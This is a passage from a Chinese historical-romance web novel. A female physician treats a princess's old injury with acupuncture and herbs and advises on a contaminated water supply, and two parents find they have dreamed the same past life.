孟玉桐闻言,微微偏头。 恰好景福也侧目看x来,探寻的目光撞进孟玉桐沉静如水的眸子里。 只见孟玉桐唇角勾起一抹极淡的弧度,声音带着一股自信: “旁人说治不好,未必是真治不好。或许是因风险太大,治好了无功,治坏了有过,故不愿沾手;或许是因症结所在关乎女子私密,碍于礼法规矩,男女有别,尊卑有别,无从下手;又或者……”她顿了顿,那平静的目光明亮湛然,“纯粹是那人医术不精,眼界有限。他治不好的,未必别人也治不好。” 这最后一句,如同惊雷贯耳,狠狠砸下。 “未必别人也治不好……” 景福心头猛然一动。 那年皇家猎场,花豹突袭御驾,千钧一发之际,是她以身相护,硬生生替皇兄挡下了那致命一爪。 腰骶处传来的剧痛如骨碎筋折,她当场昏厥。之后卧病半载,太医院流水般的御医前来问诊,却个个言辞闪烁,只道是“伤筋动骨需静养”、“好生将息便是”。 无一人敢断言她的左腿能恢复如初,更无人敢拍胸脯接下这关乎公主玉体与皇家体面的烫手山芋。 那时……她心中尚存一丝旖旎,也曾有过一位倾心的少年郎。 可当对方得知她的伤势可能累及子嗣后,那眼中一闪而逝、却如刀刻斧凿般清晰的……嫌弃,彻底碾碎了她最后的幻想。 她是天之骄女,生来骄傲,宁可让世人只看到她盛气凌人的表象,也绝不容许自己的残缺成为他人怜悯或嘲笑的谈资! 自那以后,她将这份隐痛深埋心底,用最华美的宫装、最张扬的姿态,隔开众人的窥探,也不给别人可怜自己的机会。 所有人都以为,她早已痊愈。只有她自己知道,那个意气风发的景福,早已死在了猎场的血泊里。 这条腿,平日里小心护着,倒也勉强维持体面。 可每到雨季,湿寒之气如同跗骨之蛆,顺着腰椎旧伤蔓延,左腿便如同灌了铅、结了冰,从大腿到脚踝彻底麻痹,连站立都成奢望。 那份深入骨髓的无力感与羞耻感,每每将她拖入深渊。 这些年,她习惯了在雨季以清修之名躲进深山古寺,只为避开旁人目光。 这么多年,她都咬牙忍过来了。可眼前这个身份卑微、言语放肆的医女,竟敢轻飘飘地说——能治?! 一股暴戾的杀意瞬间冲上景福的脑门! 她想撕烂这女人的嘴!她的隐痛岂是这刁民用来炫耀医术、博取名利的工具?! 她那笃定的语气,简直是赤裸裸的羞辱!狂妄!无知! “公……公主,药捣好了……”小丫鬟捧着散发着辛辣姜味与草木清苦气息的药泥石臼,怯生生地立在榻边,声音细若蚊蚋。 孟玉桐仿佛没感受到景福身上散发的冰冷杀意,神色如常地抬手,一根根捻转着拔下她后腰上的银针。 随着银针离体,景福竟惊觉一股微弱却清晰的暖流,自腰眼处悄然生出,丝丝缕缕地流向那麻木僵硬的左腿! 一丝久违的、几乎被遗忘的知觉,如同春芽破土般,在麻痹的冰层下悄然萌动! 往常这般剧痛发作,左腿至少要麻木一两个时辰才能稍稍缓过劲来……这微小的变化,在她心底激起惊涛骇浪。 那汹涌的杀意竟倏然停滞。 前一刻还想杀了这狂妄女子,下一刻,她竟鬼使神差地好奇起来。背后那散发着奇异气味的药泥,敷上去会是什么感觉?这折磨她多年的蚀骨之痛,真能缓解吗?她简直不敢深想……却又控制不住地去想! “解开殿下后腰衣物,露出伤处,将药泥均匀敷上。”孟玉桐的声音平静无波,带着医者特有的冷静指令。 小丫鬟捧着石臼,手足无措地看向景福。公主的性子……去解她的衣裳?她连碰都不敢碰一下! “动作快些,药性挥发,耽搁久了,效果便要大打折扣。”孟玉桐背过身去,开始整理自己的针具。 小丫鬟战战兢兢地望向榻上的公主。只见景福将脸深深埋进了臂弯里,身体紧绷,肩膀却几不可察地微微塌下,似乎并未拒绝? 丫鬟心一横,屏住呼吸,手指颤抖着,极轻、极缓地去解那繁复腰封下的系带。 终于,一小片细腻却带着旧伤痕印的腰侧肌肤暴露在微凉的空气中。 丫鬟紧张地回头,见孟玉桐依旧背对着她们,正有条不紊地收拾医箱,丝毫没有转身的意思。 “公主玉体尊贵,民女不便直视。你敷药时动作需快而稳,切莫让寒邪乘隙侵入。”孟玉桐的声音适时传来,带着一种令人安心的沉稳。 丫鬟定了定神,深吸一口气。她是真心希望公主能好起来。 她见过太多公主独自忍痛的时刻,她作为公主的骄傲与光彩全然消失了。痛到极致之时,面上呈现出的是令人心死的灰败,如同被生生折断翅膀的飞鸟……每每想起,都让她心酸难抑。 她舀起一勺温热的褐色药泥,小心翼翼地敷向景福后腰那处狰狞的旧伤疤痕。 药汁混着姜汁,带着刺激性的温热感,缓缓流淌。眼看药汁要顺着腰窝的曲线流下,丫鬟手忙脚乱地去擦—— 一方素白洁净的丝帕,无声地递到了她眼前。 丫鬟感激地接过,仔细拭去溢出的药汁。 待她终于将药泥厚厚敷好,如释重负地抬起头时,只见孟玉桐已在小案旁坐下,将公主抄写的一卷经文轻轻移开,铺开一张素纸,正提笔蘸墨,专注地书写着。 “民女开了两张方子。”孟玉桐搁下笔,将墨迹吹干,声音清晰,“一张内服,一日两次,水煎温服;一张外敷,发作时如法炮制,捣碎敷于伤处。此症若能辅以针灸推拿,恢复更速。然……” 她顿了顿,侧过半张脸,目光落在依旧埋首臂弯、身体却微微僵硬的景福身上,“想来公主殿下此刻最不愿见的便是民女。故而,你只需按此方抓药,内服外敷,先坚持一月。届时,腰伤发作的频率当会减少,痛楚亦能缓解,左腿的麻痹感亦会逐渐消退。” 榻上的景福依旧纹丝不动,仿佛已沉沉睡去,或是彻底放弃了挣扎。 唯有那微微起伏的肩头,和药泥敷上后因刺激而无意识轻轻蹭了蹭软枕的鼻尖,泄露了一丝强装的镇定下难以言喻的复杂心绪。 孟玉桐唇角弯起一抹极淡的弧度,这位骄纵的公主,此刻倒显出几分孩子气的别扭来。 她将两张药方轻轻放在案头显眼处,对着榻上的背影,声音放得低沉而郑重: “殿下,民女今日多有僭越冒犯,若有唐突之处,万望殿下海涵。这药泥敷完需半个时辰,殿下可待药效显现,再行决定是否信民女这张方子。无论如何,” 她微微一顿,语气带着医者最朴素的祈愿,“民女斗胆恳请殿下,务必珍重玉体,莫要因一时意气,误了康健根本。” 景福依旧紧闭双眼,对她的话语置若罔闻,仿佛已沉入梦乡。 孟玉桐抬眸望了一眼窗外。雨势已歇,天空虽仍阴霾,却只飘着若有似无的牛毛细雨,将庭院中的草木洗得翠色欲滴。 她不再多言,起身利落地收拾好医箱与药篓,“在此叨扰多时,民女该告辞了。今日之事,皆是民女一意孤行,胁迫这位姑娘行事,多有冒犯,殿下若要问罪,或是……觉得那方子尚可一用,欲行赏赐,”她语气淡然,“都请移驾桃花街照隅堂,民女随时恭候。” 榻上,景福指尖倏地收紧,死死攥住了身下的锦缎软垫,心中怒涛翻涌,混杂着难以言喻的复杂情绪。 这女子!当真是不知天高地厚,脸皮厚比城墙!她怎会给她赏赐?绝无可能! 待她缓过这阵,恢复气力,第一件事便是要去那劳什子“照隅堂”,将这狂妄医女擒回府中,让她跪地求饶,好好见识见识什么是天家威严,看她还敢不敢如此放肆! 只是眼下……她浑身脱力,困倦得紧,暂且……暂且容她逍遥两日。 孟玉桐离去后,不到一刻钟,景福便觉后腰敷药处传来一阵持续而舒适的温热感,如同冬日暖和的阳光熨帖着冰冷的筋骨。 原本那尖锐刺骨的麻木与剧痛,竟如同潮水般悄然退去,那條如同废木的左腿,也渐渐恢复了微弱的知觉,甚至能稍稍自主活动了! 她心中惊疑不定,尝试着缓缓从榻上坐起,扶着一旁的小案,竟——毫不费力地站了起来! 一股难以言喻的狂喜与震惊瞬间攫住了她! 她甚至大胆地松开手,试探着向前迈出两步—— “殿下!您、您还不能……不x能走动的呀……”小丫鬟惊慌失措。 左腿虽仍有些许酸麻迟滞,但在方寸静室之内,她竟真的来去自如地走了好几步!并无预料中的钻心疼痛! 要知道,距她方才发病痛不欲生之时,不过短短半个时辰!若在往常,她非得在床上僵卧两三个时辰,方能勉强下地! 孟玉桐……孟玉桐! 她猛地转身,几步抢回案边,一把抓起那两张墨迹未干的药方。捏着纸张的手指,竟因巨大的情绪冲击而抑制不住地微微颤抖起来…… 从静室中出来以后,孟玉桐并未立刻离开,她一只手提着药篓,一只手拎着医箱,在绕过静室朝南洞开一丝缝的那扇小窗处驻足了片刻。 室内一片寂静,并未传来预想中的斥责或哭闹声。 景福……并未迁怒于那个小丫鬟。 她心下稍安,这才真正转身离开,沿着湿漉漉的回廊返回斋堂。此时雨已几乎停歇,只余檐角滴答着残存的雨水。 白芷与何浩川早已等得心焦,见她归来忙迎上前询问。孟玉桐只简单含糊了几句,并未透露静室内那位贵人的真实身份。 天色渐渐暗下了,山谷中的风吹在身上,泛起透心的凉意。 天色向晚,山风裹挟着雨后的寒凉阵阵袭来,沁入肌骨。药篓中的紫雪参娇贵,需尽快送回医馆妥善安置,孟玉桐不敢再多耽搁,即刻动身下山。 第50章 第50章唯独对他戒备周全?…… 回程马车上,依旧由何浩川执鞭驾车。但与来时的活泼健谈不同,他显得异常沉默,只专注地看着前方被雨水洗净的山路。 抵达照隅堂时,已是戌时初刻。暮色四合,华灯初上,湿润的青石板路映照着两旁店铺暖黄的灯火,宛如一条流淌的光河。 孟玉桐下了马车,向何浩川郑重道谢:“今日实在辛苦你了。待过些时日医馆闲暇,我定当设宴,聊表谢意。” 何浩川忙不迭摆手,脸颊在夜色中微微发烫:“不、不麻烦的……”他顿了顿,声音低了几分,带着几分青涩与真诚,“能帮上玉桐姐姐的忙,我……我很乐意。” 少年背对着照隅堂温暖的灯光而立,耳根后那片绯红悄然隐于夜色,看不真切。 孟玉桐闻言展颜一笑,灯火勾勒出她明丽的侧颜:“何公子热心肠,玉桐感激不尽。眼下时辰不早,我就不多留你了,快些回去,免得何掌柜担心。” 何浩川点点头,转身欲走。刚迈出两步,却又忽地停下,像是鼓足了勇气般折返回来。 “怎么了?”孟玉桐抬眸,略带疑惑地望向他。 少年有些不好意思地捏了捏衣角,眼神闪烁却又带着期盼:“玉桐姐姐,往后……就别叫我‘何公子’了,听着怪生分的……” 他抬起一双清润明亮的眼睛,小心地征求着她的同意,“就叫我‘浩川’,或者……‘小川’也行,我身边亲近的人都这般唤我。” 最后一句,声音轻得几乎融入夜色。 孟玉桐瞧着他那副紧张又期待的模样,想起这段时日他对照隅堂的诸多照顾,心中微软,不忍拂了他的好意,便含笑点头:“好,小川。” 得了她这一声轻唤,何浩川脸上瞬间如同春风拂过,绽开无比明朗灿烂的笑容,连眼底都好似落满了星光似的,“诶!那玉桐姐姐快回去歇着吧!我走了!” 他一边说着,一边同她用力摆手告别,一步三回头,直至身影没入清风茶肆的门内,还依依不舍地望了她一眼。 见孟玉桐的身影彻底消失在照隅堂门后,何浩川这才心满意足地收回视线,脚步轻快地进了茶肆。 孟玉桐抱着药篓步入照隅堂,本欲径直去后院处理紫雪参。甫一进门,却见药柜前立着一道熟悉挺拔的身影。 那人正站在她的医馆里,动作熟稔地拉开她的药屉,行云流水地称取药材,放入柜面上的桑皮纸中。 神色之专注清冷,仿佛置其身于医官院的药局,而非她这间小小的民间的医馆。 吴明则在一旁,手脚麻利地将纪昀配好的药包逐一捆扎整齐。 “纪医官?”孟玉桐微感诧异,将手中的药篓递给迎上来的白芷,示意她先去后院将紫雪参取出透气。 自己则走到柜台边,拿起一包吴明才包好的药材,解开细绳,仔细检视。 不等纪昀回应,吴明见她回来,赶忙解释道:“当家的,您可算回来了!纪医官傍晚时分来找您,恰巧碰上两位腹痛腹泻不止的病人前来求诊,情况瞧着有些急。我想着您不知何时才能回来,便……便自作主张,恳请纪医官出手相助了。当家的,您看我这般处置,可还妥当?” 照隅堂平日接诊的多是慢性调养或轻微症候,急症并不多见。故而孟玉桐若外出,吴明通常会让病患稍候,或予一杯对症的药茶缓解。但今日病人症候急迫,他又知纪昀医术高超,这才大胆请托。 孟玉桐将药包中的药材一一捻看,正是藿香、苍术、厚朴等治疗湿滞腹泻的常用之药。 腹泻……她心中倏然一凛,联想到昨日济安堂小辉与杏儿的中毒症状,以及那可疑的竹筒水……她猛地抬起头,看向久久未发一言的纪昀,问道: “纪医官今日特意前来寻我,可是与昨日水源污染一事有关?” 纪昀的目光自她面庞轻掠而过。 他注意到她额前有几缕青丝未妥帖收束于发髻之中,松散地垂落下来,柔柔地搭在光洁的额角与耳畔,与她平日里一丝不苟的端谨模样略有不同。 这般微带潦草的随意,却意外地为她增添了几分鲜活的生气,不似往日在他面前,总是一副泾渭分明、只论事理的疏淡姿态。 只是,她似乎……唯独对他如此戒备周全? 纪昀脑海中不由自主地浮现出方才她在马车旁与那何浩川言笑晏晏、神情熟稔自然的模样,心下莫名掠过一丝极淡的、连自己都未曾察觉的不自在。 “纪医官?”孟玉桐见他凝眉不语,似在出神,便出声轻唤了一句。 纪昀倏然回神,压下心头那点异样,面色恢复一贯的清冷。 他淡淡颔首,从袖中取出一只沉甸甸的锦纹钱袋,递至孟玉桐手边,缓声道:“今日前来,确有二事。其一,乃是结算前次与昨日,孟姑娘在济安堂施诊应得的诊金,此乃医官院按例拨付。” 他顿了顿,眸光沉静地看向她,“其二,正是姑娘方才所问之事。医官院已协同临安府衙及都水监在城内勘查取样。现已查明,御街自朝天门以北,多数居民日常取用水源,皆依赖穿城而过的玉带河。 “如今玉带河最北端源头处的南洋池,因有发病致死的野猪坠入,污染了水源,致使河水含污。百姓若误饮此水,轻则腹痛泄泻,如今日来馆求诊者; “重则诱发伤寒兼痢之症,凶险如昨日济安堂小辉与杏儿。轻症者,以治泻旧方藿香、苍术、厚朴等药化湿和中,静养数日便可无碍。然重症者,诊治起来便颇为棘手。” 孟玉桐的注意力全然在病情之上,对那袋诊金看也未看,随手将其拨至柜台一角,“既知病从口入,当务之急是即刻发布告示,晓谕全城百姓,严禁取用玉带河水。” 她语速加快,思路清晰,“再者,御街北段居民多倚仗河水为生,家中少有水井。河水既污,无异于断绝其生计之源。后续生活必陷困顿。 “医官院当协助府衙,速将辖区内所有水井摸排清楚,将有井户与无井户分区划片,以四五户为一‘井区’,暂时共汲一井之水,订立取水章程,共渡眼下难关,方是正理。” 她深知,御街以朝天门为界,南北景象迥异。 玉带河发源于城北南洋池,流经全城。然至朝天门一带后,河渠分流,水势渐弱,故南段居民多在院中自掘水井,仅在水源丰沛时偶用河水。 而北段居民,拥有水井者则十不足一二。河水一旦污染,波及者众,城中医馆恐将人满为患。 纪昀眼中掠过毫不掩饰的惊艳之色。 他仅提及水源污染,孟玉桐竟能瞬间想到后续诸多关节,乃至预见民生之难,并提出由官方协调、共用水井此等切实可行的应急之策,其心思之缜密、反应之迅捷、见解之深刻,实在远超寻常医者,甚至胜过许多庸碌官吏。 他颔首,语气中带上一丝赞许:“孟姑娘思虑周详,有此远见,实属难得。水源污染后续防控事宜,府x衙与都水监已遣专人跟进。 “眼下,我已走访城中大小医馆,发现感染此症者确已不少。未来几日,各馆必将应接不暇,治疗腹泻腹痛之药材恐也会紧缺。医官院库中尚有余存,过两日我会差人送一批至照隅堂,以作储备。若届时病患激增,医官院亦会酌情调派人手,支援各馆应对。” 孟玉桐闻言,朝他微微屈膝一福:“医官院仁心济世,纪医官心系黎庶,亲历亲为,实乃临安百姓之福。” 两人就公务之事你来我往,相談甚洽,气氛倒是难得融洽。 正事既毕,孟玉桐再次郑重道谢:“今日我外出未归,馆中两位急症病人,多亏纪医官出手相助,玉桐在此谢过。” “举手之劳,不足挂齿。”纪昀声音清淡,目光却似不经意地投向门外,正是方才她与何浩川驻足话别之处。 他状若随意地问道:“孟姑娘经营照隅堂,向来事必躬亲。不知今日是有何要务,竟需离馆整日?” 孟玉桐并不避讳,坦然回道:“今日去凤凰山采了些药材,路途遥远,故而未能坐馆应诊。” 采药? 他心中实则萦绕着诸多疑问:是何珍贵药材,需她亲自冒险前往山高林密的凤凰山采撷?又为何……偏是与那何浩川同行?听说何家的茶园似乎也在凤凰山上…… 这念头一起,他自己都惊觉这份关注似乎已超出了寻常界限。 他额角猛然跳了跳,亦是问出了口:“是何药材如此稀罕,需劳动孟姑娘亲往?” 孟玉桐抬眸,静静回望他。那目光清澈依旧,却仿佛骤然蒙上了一层薄薄的冰霜,带着一丝清晰的疏冷。 她语声平淡:“是一味很珍贵的药材,曾经我为了采它,差点没了命。” 纪昀虽不太明白她话中之意,可不知为何,心头却猛地一窒。 一股毫无来由的、尖锐的酸涩与抽痛瞬间自心口炸开,迅速蔓延,竟让他呼吸都为之一顿。 眼前蓦然浮现点点残破的细碎的画面,他仿佛真的看见一株小小的珍贵药草,画面模糊,倏然拉近,又陡然飘远…… 他还未来得及细辨这陌生而汹涌的情绪与光怪陆离的画面从何而来,孟玉桐已微微颔首:“天色已晚,纪医官公务繁忙,想必还有诸多要务亟待处理,我便不多留了。” 语毕,她不再看他,转身径直向后院走去。 吴明见状,忙笑呵呵地上前打圆场,试图揽过纪昀的肩:“纪医官,可需小的送您一程?” 纪昀恍若未闻,只是望着孟玉桐消失的方向怔忡了一瞬。他缓缓摇头,薄唇紧抿,最终什么也没说,转身提步,默然离开了照隅堂。 门外暮色渐浓,华灯初上,将他孤长的身影渐渐吞没在临安城夜色里。《 》 50-60 第51章 第51章全然相同的梦? 纪昀走后,吴明也溜达到了后院。 他凑到正蹲在地上忙碌的孟玉桐身边,挤眉弄眼,压低声音好奇道:“当家的,您晚间回来时,同茶肆那小老板在门口嘀咕什么呢?瞧着那叫一个依依不舍,难分难解的。” 孟玉桐正将白芷铺放在地上的紫雪参幼苗一株株小心拾起,准备移栽到白日翻松好的阴湿土壤中。 她头也没抬,随口应道:“没说什么,不过是多谢他今日辛苦,陪我上山采药罢了。” 吴明撇撇嘴,一脸不信:“您可别糊弄我了!我瞧着那小子看您的眼神可不太对劲儿,殷勤得都快冒泡了!指定是没安什么好心!” “你想多了。”孟玉桐全副心神都放在手中娇贵的药草上,动作轻柔至极,未讲他的话放在心上。 “哪有!”吴明愈发来劲,甚至搬出了同盟,“方才在屋里,我还同纪医官说来着,纪医官那脸色……嘿,我看他也觉着是这么回事。 “我俩可是瞧得真真儿的!那何浩川,保不齐就是瞧上当家的您又能干又貌美,自个儿经营着这么大一间医馆,想来当个现成的上门女婿呢!” 他越说越离谱,完全没注意到孟玉桐微微蹙起的眉头。 白芷在一旁实在听不下去,上前一把揪住吴明的后衣领,没好气地往外拖:“就你话多!聒噪得跟那树上的大知了似的!没瞧见姑娘正忙着要紧事吗?还不快出来!” 两人拉拉扯扯地离开了小院,后院终于重归宁静。 孟玉桐轻轻呼出一口气,将注意力完全集中在眼前。 她小心翼翼地将最后一株紫雪参植入土中,又将从凤凰山崖壁上特意带回的、包裹着根系的湿润苔藓块,仔细地铺覆在植株周围的土壤上。 那些紫雪参尚在幼年,纤细的紫色茎秆顶着几片覆着银白色茸毛的小叶,在晚风中怯生生地轻颤,显得格外娇柔脆弱,仿佛一不小心就会折损了生机。 孟玉桐伸出指尖,极轻地碰了碰那微颤的叶片,声音低得像是在自言自语,“放心,从今往后,你便是最珍贵的。” 语调轻柔,甫一出口,便消散在初夏微凉的夜风里,了无痕迹。 约莫半个时辰过去,料理完医馆的诸多事项,孟玉桐与白芷回了孟府。 孟府位置在朝天门往南,位于通江桥边。府中开凿有多口井,日常取水都是从井中取用。 即便如此,回府之后,孟玉桐还是让白芷同吴嬷嬷郑重嘱咐了一番:府中上下近日务必只饮用井水,严禁取用玉带河水,亦需尽量避免在外购买摊贩食肆的熟食点心。 将此事安排妥当后,孟玉桐才稍稍安心,回到了自己的杏桃院歇息。 夜深人静,白日攀山采药的疲惫如潮水般漫上四肢,然而身体虽十分疲累,不知为何她的头脑却异常清醒,思绪纷纭,难以入眠。 她先是回忆上一世的这个时候,彼时,距她与纪昀的婚期已不足两月,她大多时候都被祖母拘在府中,学习掌管中馈,筹备婚礼诸事,忙得晕头转向,鲜少出门。 似乎并未听闻城中有水源污染导致大规模腹泻的消息。 想来,应是发现得早,处置及时,并未引起太大恐慌,故而未曾传入深闺之中。 如此一想,她心下稍安。但谨慎起见,她还是盘算着明日去医馆,需多备一些治疗腹泻的药材带回府中,以备不时之需。还有家中的药铺,不知各项药材是否有充足的准备,还得寻个时间同祖母商量一二。 她翻了个身,又想到今日成功移栽的紫雪参。 时值初夏,后头天气只会越来越热。照隅堂小院之中,那处阴面虽好,终究比不得凤凰山顶云雾缭绕、凉爽湿润的环境。 待得了空闲,还需在那角落搭个简易棚架,覆上遮光的细麻布,模拟出它生长所需的阴湿小环境,方能确保其存活。 只是……可惜她并不知晓后来那场席卷临安的大疫,究竟源起何处。若她能先知,或许就能未雨绸缪,挽救更多性命…… 思绪如野马奔腾,杂念丛生。直到后半夜,睡意才渐渐袭来,将她拖入沉沉的梦乡。 纪家这一边,却有人从冗长的梦境中陡然惊醒。 纪宏业忽然翻身坐起,气息粗重未定。动作间掀动了锦被,惊扰了一边已然熟睡的李婉。 四下里漆黑一片,唯有些许微弱月色透过窗纱。李婉随之起身,指尖触到丈夫汗湿的里衣,心头一紧,声音还带着睡意:“怎么了?可是魇着了?” 纪宏业心口仍自狂跳,良久才缓缓平复。他转过身,握住妻子的手,声音带着一丝紧涩:“婉婉,你上回说的那个梦……我方才,也梦见了。” 他顿了顿,似在回忆那梦境的细节,语气愈发凝重:“孟家那丫头,的确与昀儿成了婚。两人成婚一年后,你我便搬去了青岚寺清修,从此未再下山。直至……直至再一次听闻府中消息,便是玉桐病逝的噩耗。” 李婉闻言,亦是心头剧震。那梦境何等逼真,她亲身经历过,其中种种细节、情绪,乃至无力的悲恸,都宛如重历一遭。 她始终觉得那并非寻常梦魇,处处透着蹊跷。只是后来梦境不再,时日久了,那份惊疑才渐渐压入心底。 可如今,宏业竟也做了全然相同的梦? 这事情也太过诡异和巧合了。 “怎会…怎会你我二人都……”李婉的声音带上了颤意,“莫非那并非是梦,而是……?” “兴许是你上回同我讲述得过于细致,我听入了心,日有所思所致。” 纪宏业强自镇定,察觉妻子指尖微凉、脸色在昏暗中想必x也已煞白,便出言宽慰,语气刻意放缓:“莫要多想,如今我们都好端端的在此。梦终究是梦,当不得真。” 他最后一句说得极轻,仿佛不只是在安抚妻子,更是在试图说服自己。 他一向是家中最冷静、最擅剖析事理的人,既如此说,李婉心下稍安,便也不再纠缠于那诡谲的梦境。 两人重新躺下,李婉依偎进丈夫怀里,寻了别的话头,声音闷在他寝衣间:“你有没有觉着,昀儿这段时日,似与以往有些不同了? “我听云舟说,他近日出入照隅堂的次数颇频,这可不像是他素日的性子。许是你上回提点的法子当真有用,他定是对玉桐生出了些心思,否则,以他那冷清淡漠的性子,哪里会这样关照?” 纪宏业揽着妻子,低声道:“这孩子心中,这些年也压了太多事。当年种种,其实怨不得他。只是话虽如此,众人心中,包括他自己,终究是存了难以释怀的芥蒂。他从那样一个跳脱飞扬的性子,成了如今这般模样……其中艰辛,不足为外人道。” 李婉未有接话,只是将丈夫环得更紧了些。 纪宏业清晰地感受到,胸膛处的衣襟,悄然浸开了一片温热的湿意。 不知过了多久,李婉的呼吸终于变得均匀绵长,重新睡去了。 纪宏业却毫无睡意,黑暗中,他想起从前的事,思绪如潮翻涌。 纪弘业与李婉成婚不久,便得了第一个孩子。他为这孩子取名“昭”,取“日月昭昭,明德惟馨”之意,祈愿他一生光明坦荡,仁心仁术,光耀纪家门楣。 纪昭果然不负夫妇二人的殷切期望,自幼便显露出远超常人的颖慧与静气,就仿佛真是应了这名字的吉兆,周身带着一股温润通透的光华。 他天赋异禀,惊才绝艳,抓周时小手毫不犹豫抓住的便是一卷泛黄的医书。五岁能诵《药性赋》,七岁可辨百草之性,十岁时便能静立一旁观摩祖父诊脉,偶尔竟能说出两句令老爷子都微微颔首的见解。 而纪怀瑾一生严谨寡言,沉潜医道,虽已官至医官院院使,更有传世医书编纂之功,却因纪弘业无心此道而深恐纪家医术无人继承,引为此生大憾。 好在有了纪昭,自他降生,纪怀瑾便将毕生心血倾注于这长孙之身,悉心教导,呕心沥血,恨不能将一身岐黄绝学顷刻间尽数相传。 而纪昭也从未令人失望。他性情温润沉静,聪颖明理,自出生起便承载了纪家上下所有的期盼与宠爱。 然天意弄人,纪昭先天便带了心疾,此症极为棘手,令他不能疾跑跳跃,不能劳累费神,不能淋雨受寒,更不能情绪有大起伏…… 正因如此,全家倾注于他身上的关注与呵护更是无以复加,几乎到了如履薄冰、小心翼翼的地步。 而纪昀,纪弘业的次子,却截然不同。 他自幼脾性顽劣跳脱,不喜拘束,对枯燥的医书典籍更是兴致缺缺,仿佛天生与纪昭走了相反的路子,没少令他与夫人头痛。 纪昀幼时,李婉曾笑问他长大后想做什么,他竟毫不迟疑,朗声答道:“儿子想做个猎户!日日骑马射箭,逐鹿山林,那才叫畅快恣意,威风凛凛!” 李婉无奈摇头,纪弘业虽心下喟叹,却也只能宽慰她道:“纪家有昭儿传承门楣,光耀杏林便已足够。至于昀儿,既无此心,便不必过于拘着他了,他平安喜乐,一世顺遂便足够了。” 两人这番近乎放养的态度,在一定程度上确给了纪昀许多旁的孩子求之不得的自由。 然与这份自由相伴的,亦是显而易见的、被分薄了的关注。 全家的重心,毫无意外地全然落在纪昭身上。 这些,纪弘业从前并非毫无察觉,却总觉得男孩粗养些也无妨,于是轻轻揭过。 直至方才那个过于真切的梦。 第52章 第52章纪宏业的梦 梦中,纪昀成婚已有一年之久,府中大小事务皆被新妇孟玉桐打理得井井有条,莫说纪昀的衣食起居,就连纪明也被照料得很好。 有这样能干的媳妇在,李婉即便日日守在小佛堂中不问世事,府里也不会乱套。 后来,听说青岚寺风景秀丽,远离人烟,适合修养。 既然府中一切都已安定,纪宏业决定带李婉离开纪府,前往青岚寺清修。 在他准备出发的前夜,他心中莫名不宁,终是深夜去寻了纪昀。 父子二人对坐,烛火摇曳,竟是难得地说了许久的话。 纪宏业甚至提起了纪昭,提起了那份连自己都未必看清的、对长子过于沉重而对次子近乎疏忽的复杂情感。 他言明,担心自己与李婉走后,纪昀在这偌大府邸中会感到孤寂不适。 闻言,纪昀只是微微垂眸,静默了片刻。再抬眼时,唇边竟凝着一抹极淡、极轻的笑意,只是那笑意未曾抵达眼底,反而衬得他眸光愈发沉寂,甚至透着些难言的淡漠。 他声音平静得近乎疏离,缓缓道:“父亲母亲安心休养,府中一切事务不必挂怀。” 瞧着本性畅快恣意的儿子如今变成这副冷沉寡言的模样,纪宏业心中微涩,一股难以名状的愧疚攫住了他,不由地问道:“昀儿,这些年,我与你母亲也未曾尽到做父母的责任,家中担子都落在你身上,你可有怨过我们?” 纪昀闻言,眼底似有暗流汹涌,闪过一抹极其复杂幽深的神色。他顿了顿,未答他‘怨’或‘不怨’,只说:“其实小时候,儿子很羡慕兄长。” “不知父亲是否知晓,我食山楂会起红疹,且不喜酸物。可兄长自小嗜酸。于是小厨房里每日雷打不动备着的,永远是他爱吃的山楂糕、酸杏脯、梅子酱。” “我曾鼓起勇气,同母亲提过,”他的声音里听不出情绪,唯有放在膝上的手,指节无意识地微微蜷缩了一下,“能否也让厨房,添些我爱的松子糖、茯苓饼。” “母亲每回都会温柔应下。” “可隔日再看,那碟中之物,仍与往日无差。” “次数多了,我便不再说了,”他说到此,唇角那抹淡笑似乎加深了些许,却更显涩然,“连带着,原先极爱的松子糖,似乎也不再喜欢了。” 他语气轻描淡写,却字字敲在纪宏业心上,纪宏业声音微滞:“你兄长体弱,你母亲与我对他总是怕照顾不及,千般小心,不想却……忽略了你。” 许是今夜机会难得,纪昀不再如往日那般紧紧绷着,他继续说道:“其实于吃食上,我与兄长更是合不来的。他爱的山药、清笋、茄子,偏偏都是我极厌恶的。 “起初遇上不喜的菜肴,儿子还会言明。后来渐渐明了,自己在这家中的些许喜好,或许并无甚要紧。” “于是,便也不再说了。只是若遇上不喜欢的,我也不会勉强自己去吃,所幸我是能吃米饭的,总不至于饿了肚子。” 他微微偏过头,侧脸在烛光下显得有些单薄,更添几分冷寂。 “儿子幼时瞧着虽没心没肺,可却也早早明白,世间许多事都是强求不来的。吃食一物上是如此,父亲母亲的爱,一样是如此,我从来不敢奢望。” 纪宏业听得心头酸涩难当,喉头发紧,半晌才涩然道:“是……是我与你母亲,对你关照太少。” 纪昀却缓缓摇了摇头,神色平静,仿佛早已将这一切碾碎、吞下、消化殆尽,再没尊什么情绪。 “今日同父亲说这些,并非心存怨怼,也绝非追责问过。我是这个家里,最没有资格怨怼别人的人。当初是我顽劣,送来那只鸽子,鸽子受惊惹得兄长在喝药时呛咳,从而引发心疾。兄长离世,我有逃不开的责任,” 他声音低沉下去,带着一种深切的疲惫与自弃,“若是可以,我宁愿当年纪家死掉的那个孩子是我。我无数次想过,若那时候死的是我,你、母亲、祖父还有我们整个纪家,是不是都不会变成如今的样子。” “昀儿!”纪宏业被他脸上流露出的毫不掩饰的厌世之色惊得心中剧烈一抽,“你休要胡思乱想!此事……怨不得你!” 似是察觉失态,纪昀闭了闭眼,再睁开时,已将外泄的情绪重新敛回那副平静冷淡的面具之下。 纪宏业稳了稳心神,缓声道:“你与玉桐丫头往后要好好过日子,x她是个好姑娘,莫要辜负了她。” 孟玉桐的确很好。她待人贴心周全,包容他不爱主动开口的古怪性子,从日常的细微小处探寻他的喜好,无声地给予慰藉。 她好到让自己觉得,他配不上这样的好。 纪宏业瞧见,谈及孟玉桐的名字时,纪昀那双冷沉的眸子里,似乎终于掠过了一丝极细微的柔光,脸上那陡然而起的厌世自弃之色也收敛几分,他极淡地笑了笑,“父亲放心,家中有玉桐,有明儿,还有兄长临终嘱托儿子的遗愿,儿子会同玉桐好好过日子。往后父亲与母亲在青岚寺中,也要多加注意身体。” 在那个真实到难辨真假的梦中,纪宏业以为,纪昀和孟玉桐未来日子总能渐趋圆满,拨云见日。 可万万没想到。 那梦境就此陡然一转,景象骤变,竟转至两年之后。山下来人,传来孟玉桐身亡的消息……他还想再看后头的事情,一睁眼,却已从梦中幡然醒来。 而后半夜,纪宏业心中挂着这些往事与梦境,久久难以再入睡。 夜深人静,明月高悬,纪家梧桐院这一边,亦有人未眠。 